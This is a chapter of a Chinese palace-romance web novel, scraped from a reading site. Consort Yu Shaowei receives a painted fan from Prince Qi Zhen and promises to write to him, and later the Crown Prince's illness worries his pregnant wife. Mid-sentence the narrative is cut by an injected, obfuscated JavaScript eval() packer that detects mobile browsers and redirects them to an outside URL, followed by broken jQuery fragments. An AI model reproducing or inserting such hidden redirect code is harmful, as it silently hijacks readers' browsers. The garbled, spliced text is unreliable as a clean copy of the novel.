123读书网 > 都市小说 > 纤手破新橙 > 62. 第六十二章
    青阳听到响动掀开门帘迎出来时,看到两人的模样,惊得差点打翻手里的暖炉


    “娘娘!五殿下!你们怎么弄成这样?!”


    “快去给我准备热水和换洗衣服。”于少微一进门就迫不及待地吩咐道。


    殿内早已烧旺了地龙,暖融融的气息扑面而来,与外面的冰天雪地判若两个世界,亓轸小心翼翼地正想将于少微放在铺着厚厚锦垫的贵妃榻上,后者突然用力揽住他的肩膀,挣扎道:“别!地上,把我放地上!”


    亓轸不理解,但还是照做,于少微踩在地上,低头左扭右扭地看,满脸嫌弃:“脏死了这一身。”


    亓轸站在旁边看她,不自觉轻笑出声,于少微下意识抬头瞪他一眼,目光相接时,两人皆是一愣。


    这么轻快的氛围,有多久没在他们之间出现过了?这份熟悉的感觉,遥远的好似上辈子的事情了。


    两人都不忍言语,甚至连呼吸都放的很轻很轻,好像只要他们什么都不做,时间就能永远停在此刻,所有的一切烦扰都与他们无关。


    屋外白雪皑皑,北风拍的窗棂啪啪作响,屋内却暖如春日,明亮的烛火摇曳着相对而立的影子。


    青阳端来了冒着热气的姜茶,抬头看见沉默对视的二人,下意识噤声,杵在门口处,进退两难。亓轸率先发现了她,冲她轻轻颔首,示意她端进来。


    青阳将姜茶放在桌几上,手脚麻利的倒好两杯,正准备赶紧退下时,亓轸突然喊住她:“热水放好了吗?”


    于少微一下子还没反应过来,青阳也是愣了愣,赶紧道:“好,放好了!”


    亓轸看向于少微轻轻道:“您快去吧,湿衣服穿久了可不行。”


    于少微怔怔点头,目光落在少年衣上的湿痕,道:“那你呢?”


    亓轸轻轻道:“我也要回去了。”


    要回去了?于少微心想,是不来了吗?


    “你是明日走吗?”她突然想到自己在宝庆殿听到的话。


    亓轸笑了笑,纠正道:“是明日早晨。”


    “那么快啊。”于少微不自觉喃喃出声,话一出口意识到有些不妥,连忙找补道:“我,我的意思是辛苦了,那么远的路,这天气也不好,赶来赶去挺累的。”


    亓轸轻笑出声,目不转睛地看着于少微,眸子里的绿意像两团跳动的火。


    于少微被他看得有些不自在,别过眼匆匆道:“那我去了哈,你,你路上小心。”


    “娘娘。”亓轸在于少微转身时叫住她,慢慢绕到她身前。于少微抬头看向少年,偏了偏头,表情微微疑惑。


    亓轸不知怎的,又轻轻的笑了一下,于少微有些恼了,板着脸道:“怎么了?”


    “我有东西要给您。”亓轸边说着,边从袖袋里抽出一把造型精致的折扇。


    于少微伸手接过,将其慢慢展开,湘妃竹制的扇骨,上面绘的是橙枝栖雀图。


    “这是苏扇。”亓轸的声音在旁边响起,于少微拿着扇子笑吟吟地看他,夸赞道:“真漂亮。”


    “什么漂亮?扇子还是扇面?”亓轸突然追问。


    于少微疑惑,理所当然道:“当然是都漂——等等!”她突然反应过来,又仔细看了两眼扇面,惊讶道:“是你画的吗?”


    亓轸笑着点头:“不知道您喜不喜欢。”


    于少微大大的“哇”了一声,欣喜地举高扇子对着烛光又仔仔细细地看了两遍,然后又十分珍重的抱到怀里,认真道:“我太喜欢了!太漂亮!只是……”她语露迟疑,有些不确定道:“怎么突然送我这个?”


    “您忘了吗?”亓轸声音有些低。


    “嗯?”


    亓轸轻轻叹了口气,目光仔仔细细的描摹着面前人的脸庞,她比他离开时瘦了好些,他知道她一直在忙太子的婚宴,只是没想到竟会让她这么劳累,眼里流露出明晃晃的心疼,他又叹了口气,道:“再过两日,是您的生辰啊。”


    于少微轻轻的“啊”了一声,原来是生辰礼,她要生日了,那亓轸岂不也是——心里瞬间涌上一阵懊悔,她竟然忘了!这下可好了,人明早就走了,她怎么还礼?!


    “不好意思啊……我最近太忙了,你的生辰礼等你回来,我加倍给你好吗?你,你什么时候能回来?”于少微垂眸看着手中的折扇。


    亓轸摇头:“我不知道。”


    “这样啊……”于少微的声音低了下去。


    “我不想要两件生辰礼。”亓轸突然道。


    于少微抬头:“啊?”


    “我的意思是,我不想等回来才能收到您的礼物。”亓轸一字一句道。


    “什,什么意思?”于少微彻底糊涂了。


    “您可以寄给我吗?”亓轸眼睛亮晶晶的,“我此行第一站是徽州,要在那里待好几日,之后每到一个新地方,都会待上一段时日,所以我的意思是,您可以给我写信吗?”


    “我……”看见少年满脸期待的模样,于少微觉得自己根本说不出拒绝的话,也不想拒绝,她郑重的点头,道:“你回头给我一份你的行程,我给你写信。”


    几封信罢了,小心些就是了,她暗暗思拊。


    似乎猜到她在想什么,亓轸也用非常郑重的语气发誓:“我保证不会有除我们二人之外的人知晓。”


    于少微被他正经的样子逗笑,伸手拿扇子杵了他一下,笑道:“知道啦,快回去吧,早些休息,明早还要赶路。”


    亓轸一把抓住扇头,表情认真:“您一定要记得,我会一直等您的信的。”


    于少微学着他的样子,一本正经道:“我一定记得。”


    亓轸笑了,依依不舍地抬脚朝门口走,临到出门时,他忍了又忍,还是没忍住道:“我这回其实是为了您回来的。”


    于少微一愣,抬头看见少年略微局促的表情,藏在黑发后的耳廓也有些发红,心尖蓦地一软,此前所有的思虑和烦忧仿佛都在此刻瓦解,她释然一笑,轻轻道:“我知道了。”


    *


    冬去春来秋又至,一眨眼,亓轸已经离京大半年,与他的信件于少微也已攒了半个木匣,少年的信总是很用心,写风物,记人事,语言总是幽默诙谐,随信而来的总有些小玩意儿,或是裹着箬竹叶的茉莉香片,拆开时满室清芬,亦或是一对银质的小铃铛,内芯是南地特产的空心竹珠,还有一串风干的莲蓬,少年在信里笑着说“南边的莲,结子比京中更饱满,听说有莲莲有喜的寓意。”


    亓轸的来信为她枯燥的宫中生活吹来了几缕外界的风,于少微珍重的收好每一封信件,每一件小物,她的生活虽不及他丰富有趣,却也认真记着那些琐碎的日常与变幻的心情。宫中并不算无大事发生,今年开春,太子妃郑淳查出喜脉,宫中许久未有孩子诞生,郑淳肚里的孩子作为长孙,陈皇后与庆帝高兴得不得了,宫中也接连好长一段日子一直洋溢着悦人的喜气。


    于少微时常在陈皇后宫中碰见郑淳,待她逐渐显怀后,又变成皇后带着于少微去东宫看她,于少微并没有比郑淳大几岁,虽是差着辈分,但见得多了便也慢慢熟稔,郑淳非在京城长大,后宫中除了皇后与太子,更是没什么说话的人,再加上孕期容易敏感,陈皇后特意叮嘱过于少微,让她没事多去东宫走动走动。


    郑淳已经怀孕六个月了,肚子也已经很大了,随着秋风渐凉,她也甚少出门,于少微跨进东宫时,发现她正坐在一树木芙蓉下,表情哀婉。


    于少微叹了口气,郑淳近日总是这副模样,陈皇后见了担心得不得了,连庆帝都破天荒的问了好几次,他们劝不动,就让与她关系亲近的于少微


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239061|191471||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    去劝,于少微无奈望天,觉得帝后既高估了自己的作用,也低估了郑淳的情谊。


    太子不知怎的,身子自入夏后就又有些不好了,起先只是精神不振,容易昏睡,太医来看了也只说是旧疾复发加上国事劳累,为此,太子只能减少上朝和看奏折的时间,在东宫静养。那段时日,郑淳觉得挺幸福的,太子每日都陪着她,二人新婚燕尔,很是浓情蜜意。


    四皇子亓轩也经常会来东宫探望,他知道太子关心朝事,每每下朝,总会第一时间来到东宫,细细向太子汇报朝会内容,太子一方面感慨弟弟用心,另一方面又觉得如此可令他多学些东西,所以每每亓轩来时,他即使感到乏力,仍然会强撑着精神与他畅谈两三刻钟,郑淳虽看得心疼,私下也与太子提过,但总是被太子温柔的否决了,她知道这位四皇子在太子心里不一样,渐渐也不再提了。


    可又过了几月,太子咳疾加重,甚至还带了血丝,不止如此,还常常容易心悸,太医来看了好些次,看来看去也只说是秋凉渗人,风寒入肺,开了些温补的药材,慢慢养着。这些药起先还有些作用,可没过几日,太子的状况又有些恶化,这回,即便太医再怎么加重药性,也没什么用了。


    郑淳本来身子就重,朝夕相处的丈夫成日缠绵病榻,开先几日,她真的是整宿整宿的哭。皇后和于少微苦口婆心地劝了又劝,这姑娘明面上答应地好好的,第二日瞧见人,眼圈又是红肿的,最后还是太子精神好时出马,才将将止住了她的眼泪。可于少微也知道,只要太子依旧是现在这个模样,郑淳的心是不会好的,原本眉眼秾丽的姑娘,眼下却似她头顶的开至深红的木芙蓉,无端端带了一股枯萎的气息。


    于少微走到郑淳身边坐下,郑淳见她来了,也没太大反应,依旧望着一处怔怔的发呆,于少微有意拉她说话,东扯西扯一大堆,她说的口干舌燥,可面前坐着的人依旧是没什么反应。


    宫中发生的事,她自己身上的事,能说的她都说了,语料库告截,她只好胡乱瞎聊,随口问道:“最近四皇子有来东宫吗?”


    郑淳这才有了些反应,她摇了摇头:“可能最近太子没有精神听朝事了,四弟来得也少了。”


    于少微胡乱点了点头,又开始思考下一个话题应该如何开启。


    “你还有话想说?”她突然瞥见郑淳一副欲言又止的模样。


    郑淳迟疑的点点头,表情犹豫不决。


    于少微哪能让她这样,连忙握住她冰凉的手,语气温柔又认真:“想说什么便说吧,憋在心里也难受,你知道的,我不会与旁人乱说的。”


    郑淳知道于少微是个嘴严的人,这些话她也的确在心中憋了好久,她回头望了望寝宫,又看向于少微缓缓道:“我其实,不太喜欢四皇子过来。”


    于少微挑眉,示意她继续。


    第一句说出口,后面的话就顺畅了许多,郑淳道:“四皇子他,我觉得他有些奇怪,他看我的眼神怪怪的,像是在看仇人,可我几乎与他没打过交道啊?还有他每次来看太子,我若是待在旁边,他就会想尽办法打发我出去,我不明白他为什么要这样做,我……”


    郑淳说不下去了,她眼里满是迷茫与不解,显然她自己也没厘清为何自己平白无故遭人厌恶。


    于少微看着她迷惑的样子,轻叹道:“这不关你的事,是四皇子从小与太子要好,他或许觉得太子与你成婚后,你成了太子最亲密的人,他心里一时过不去,有些羡慕嫉妒你吧。”


    郑淳听得懵懂,也只无奈道:“我没有兄弟姊妹,自是无法理解他们之间的感情,可,或许……等四弟也娶亲就好了吧。”


    于少微点点头,她突然想到,四皇子已满十七,的确到了该娶亲的年纪了,可他上头还有二皇子,二皇子的亲事怎么还没听到动静呢?